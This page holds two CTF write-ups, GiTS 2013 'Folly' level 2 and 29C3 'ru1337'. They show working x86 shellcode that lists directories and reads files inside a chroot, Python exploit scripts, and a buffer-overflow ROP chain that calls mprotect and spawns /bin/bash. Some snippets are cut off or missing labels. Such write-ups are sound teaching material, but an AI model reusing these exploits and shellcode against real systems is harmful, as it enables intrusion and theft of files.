code hacking, zen coding


GiTS 2013 CTF – Question 17 Trivia 400 – Folly – Level 2 x86 chroot (getdents shellcode)

Posted by aXs

folly-b2632babf6ce9c2378630e364150ee2c84f47b73: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, stripped

Folly was a multi-level challenge from the Ghost In The Shell Code CTF. This Write-up is for Level 2 based on the X86 architecture.

It's a sample text-game like this:

$ nc 5679
Hola! I am Sancho, who are you?
Don Quixote de la Mancha
Hello! Are you ready for your adventure?
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante

Sire! Let me help you onto your steed.
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante

Just then they came in sight of thirty or forty windmills that rise from that plain.And no sooner did Don Quixote see them that he said to his squire, "Fortune is guiding our affairsbetter than we ourselves could have wished. Do you see over yonder, friend Sancho, thirty or fortyhulking giants? I intend to do battle with them and slay them. With their spoils we shall begin tobe rich for this is a righteous war and the removal of so foul a brood from off the face of the earth is a service God will bless."

"What giants?" asked Sancho Panza.

"Those you see over there," replied his master, "with their long arms. Some of them have arms well nigh two leagues in length."

"Take care, sir," cried Sancho. "Those over there are not giants but windmills. Those things that seem to be their arms are sails which, when they are whirled around by the wind, turn the millstone."

What will you shout as you attack the giants?
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante


You have to first "Mount Rocinante" before you can "Attack Giants". Let's focus on the attack:

First a RWE buffer is allocated with mmap:

.text:08049025                 mov     dword ptr [esp+14h], 0 ; offset
.text:0804902D                 mov     dword ptr [esp+10h], 0FFFFFFFFh
.text:08049035                 mov     dword ptr [esp+0Ch], 22h ; flags
.text:0804903D                 mov     dword ptr [esp+8], 7 ; prot RWE
.text:08049045                 mov     dword ptr [esp+4], 1000h ; len
.text:0804904D                 mov     dword ptr [esp], 0 ; addr
.text:08049054                 call    _mmap

At most 1024 bytes is read from the socket to this buffer:

.text:08049059                 mov     [ebp+addr], eax
.text:0804905C                 mov     dword ptr [esp+0Ch], 0Ah ; int
.text:08049064                 mov     dword ptr [esp+8], 400h ; int
.text:0804906C                 mov     eax, [ebp+addr]
.text:0804906F                 mov     [esp+4], eax    ; int
.text:08049073                 mov     eax, [ebp+fd]
.text:08049076                 mov     [esp], eax      ; fd
.text:08049079                 call    readUntil

Code checks if the buffer starts with 0xe7ab444b:

.text:0804907E                 mov     eax, [ebp+addr]
.text:08049081                 mov     [ebp+var_10], eax
.text:08049084                 mov     eax, [ebp+var_10]
.text:08049087                 mov     eax, [eax]
.text:08049089                 cmp     eax, 0E7AB444Bh

It it does, the code calls the buffer (jumping over the 4 bytes signature at the beginning):

.text:08049090                 mov     eax, [ebp+addr]
.text:08049093                 add     eax, 4
.text:08049096                 mov     [ebp+var_14], eax
.text:08049099                 mov     eax, [ebp+fd]
.text:0804909C                 mov     [esp], eax
.text:0804909F                 mov     eax, [ebp+var_14]
.text:080490A2                 call    eax

Simple right ? Almost except a few details:

- chroot() is used to restrict the process to its home directory
- there is no shell (/bin/sh) in the chroot
- you cannot escape the chroot with the classic mkdir()/chroot() trick

We started with a custom shellcode that would open a "key" file and send it to the socket but there was no "key" file.

So we designed a custom open()+getdents() x86 shellcode. Here it is:

GLOBAL _start
    jmp get_eip
    xor eax, eax
    xor edi, edi
    inc edi
    inc edi
    inc edi
    inc edi

    ; fd = sys_open(".", 0, 0)
    add eax, edi    ; sys_open
    inc eax
    pop ebx       ; filename
    xor ecx, ecx  ; flags = 0
    xor edx, edx  ; mode = 0
    int 0x80

    test eax,eax  ; file exists?
    jz error

    mov ebx, eax  ; fd

    ; getdents(fd,esp,0x1337)
    mov edx, 0x1337 ;size
    sub esp, edx    ;make room on the stack
    mov ecx, esp    ;buffer
    mov eax, 0x8d   ;sys_getdents
    int 0x80

    mov edx, eax    ;size

    ; close(fd)
    mov eax, edi ; 4 + 2
    inc eax
    inc eax
    int 0x80 ; fd in ebx
    ; sys_write
    mov    ecx, esp    ; buffer
    mov    ebx, edi    ; fd 4
    mov    eax, edi    ; sys_write
    int    0x80 ; size in edx

    add esp, edx

    ; sys_exit
    xor eax, eax
    inc eax
    xor ebx,ebx
    int 0x80

    call run
    db '.', 0x0

And the python part, with a decoder for the raw getdents buffer that we send:

import telnetlib
from struct import pack, unpack

def decode_getdents(getdents):
    index = 0
    while True:
        entry_len = unpack('<H', getdents[index+8:index+10])[0]
        getdent = getdents[index:index+entry_len+1]
        inode = unpack('<I', getdent[0:4])[0]
        filename = getdent[10:10+entry_len-2]
        yield inode, filename
        index += entry_len
        if index == len(getdents):

host = ''
port = 5673

tn = telnetlib.Telnet(host, port)

tn.read_until("Hola! I am Sancho, who are you?")

tn.write("Don Quixote de la Mancha\n")





tn.read_until("What will you shout as you attack the giants?")

# Level 5673
buffer = pack('<I', 0x0E7AB444B)

# custom open('.')+getdents()+write()
shellcode = "\xe9\x41\x00\x00\x00\x31\xc0\x31\xff\x47\x47\x47\x47\x01\xf8\x40\x5b\x31\xc9\x31\xd2\xcd\x80\x85\xc0\x74\x24\x89\xc3\xba\x37\x13\x00\x00\x29\xd4\x89\xe1\xb8\x8d\x00\x00\x00\xcd\x80\x89\xc2\x89\xf8\x40\x40\xcd\x80\x89\xe1\x89\xfb\x89\xf8\xcd\x80\x01\xd4\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xba\xff\xff\xff\x2e\x00"

print "shellcode len=", len(shellcode)

buffer += shellcode

s = tn.get_socket()
s.send(buffer + "\n")

for (inode, filename) in decode_getdents(s.recv(0x1337)):
    print inode, filename

data = True
while data:
    data = s.recv(1024)
    if data:
        print repr(data)


$ python
shellcode len= 77
531277 ..
531278 .
531279 flag

So the file is called "flag", let's get it with a custom X86 sendfile() shellcode:

GLOBAL _start
    jmp short get_eip
    xor eax, eax
    inc eax
    inc eax
    inc eax
    inc eax
    mov edi, eax
    xor edx, edx
    ; fd = sys_open(filename, 0, 0)
    mov eax, edi
    inc eax       ; sys_open
    pop ebx       ; filename
    xor ecx, ecx  ; flags = 0
    xor edx, edx  ; mode = 0
    int 0x80

    ; sendfile(int out_fd, int in_fd, off_t *offset, size_t count)
    mov ecx, eax  ; in_fd
    xor eax, eax
    mov al, 0xbb  ; sendfile() syscall
    mov ebx, edi  ; out_fd
    xor edx, edx  ; offset = 0
    mov esi, edi
    shl esi, 8    ; size (4 << 8 = 1024)
    int 0x80

    ; sys_exit(0)
    xor eax, eax
    mov al, 1 ;exit the shellcode
    xor ebx,ebx
    int 0x80

    call run            ; put address of our message onto the stack
    db 'flag', 0x0


$ python
shellcode len= 61
'There is no book so bad...that it does not have something good in it.\n\nHowever, our adventure still awaits!\n\\\n'

29C3 CTF – Exploitation 200 – ru1337 write-up

Posted by aXs


Are you 31337? Get your credentials checked here

$ nc 1024
Please enter your username and password

User: aXs
Password: toto
u r not s0 1337zz!!!

After some work in your favorite debugger, we can work with the reversing of our little binary:

char *getUserAndPassword()
  char *buffer; // eax@1
  char password[128]; // [sp+24h] [bp-94h]@1
  char username[8]; // [sp+A4h] [bp-14h]@1
  int i; // [sp+ACh] [bp-Ch]@2

  memset(username, 0, 8u);
  memset(password, 0, 8u);
  buffer = (char *)mmap((void *)0xBADC0DE, 0x88u, 3, 34, 0, 0);
  mmap_buffer = buffer;
  if ( buffer != (char *)-1 )
    send(fd, "ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: ", 0x4Fu, 0);
    recv(fd, username, 0x2Cu, 0);
    for ( i = 0; i <= 7 && username[i] && username[i] != 10; ++i )
      if ( !((*__ctype_b_loc())[username[i]] & 0x400) )
    send(fd, "Password: ", 0xAu, 0);
    recv(fd, password, 0x80u, 0);
    strcpy(mmap_buffer, username);
    strcpy(mmap_buffer + 8, password);
    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);

- mmap a buffer at fixed address 0xbadc0de with RW permissions (0xbadc0de will be aligned to 0xbadc000)
- Read username, length 44 <- username is allocated 8 bytes on the stack: buffer overflow possible - Check first 8 characters of username are alphabetic - Read password, length 128 - Concat username and password into the mmap-ed buffer - dup2 the socket descriptor to stdin/stdout/stderr (make it even easier) Some words about __ctype_b_loc():

The __ctype_b_loc() function shall return a pointer into an array of characters in the current locale that contains characteristics for each character in the current character set. The array shall contain a total of 384 characters, and can be indexed with any signed or unsigned char (i.e. with an index value between -128 and 255).

We are checking against flag 0x400: this is simply the isalpha() macro

Our strategy:
- Overflow username to control RET address
- Use the nice mprotect sequence in the binary to pivot the stack
- ROP chain to mprotect the mmap-ed buffer to RWX permissions
- End ROP chain with jump to shellcode, will spawn /bin/bash
- Send commands to bash to list directory and display flag file

import socket
from struct import pack,unpack
import time

shellcode  = "\x89\xec" # restore sane esp with mov esp, ebp

# execve /bin/bash -p
shellcode += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52" \
"\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52" \

host = ''
port = 1024

mprotect_call = 0x080487D9
mprotect_setup = 0x080487BC

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

login = 'A' * 20
rop  = pack('<I', 0x0badc000 + 8) # restore ebp
rop += pack('<I',  mprotect_setup) # stack pivot

rop += pack('<I', mprotect_call)
rop += pack('<I', 0xbadc000) # needs to be aligned
rop += pack("<I", 0xff) # size_t len
rop += pack("<I", 0x07) # RWX

buffer = login + rop


rop  = pack('<I', 0xbadc0ff) # restore ebp, will be used for esp later
rop += pack('<I', 0xbadc010) # eip with shellcode
rop += "\x90" * 4
rop += shellcode

s.send(rop + "\n")


s.send("\n/bin/ls -la\ncat flag\n")

while True:
    data = s.recv(1024)
    if data:
        print repr(data)


$ python
'ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: Password: '
'total 24\ndrwxr-xr-x 2 root root 4096 Dec 20 21:49 .\ndrwxr-xr-x 3 root root 4096 Dec 19 20:31 ..\n-r--r--r-- 1 root root   38 Dec 20 21:49 flag\n-r-xr-xr-x 1 root root 9776 Dec 26 01:42 ru1337\n'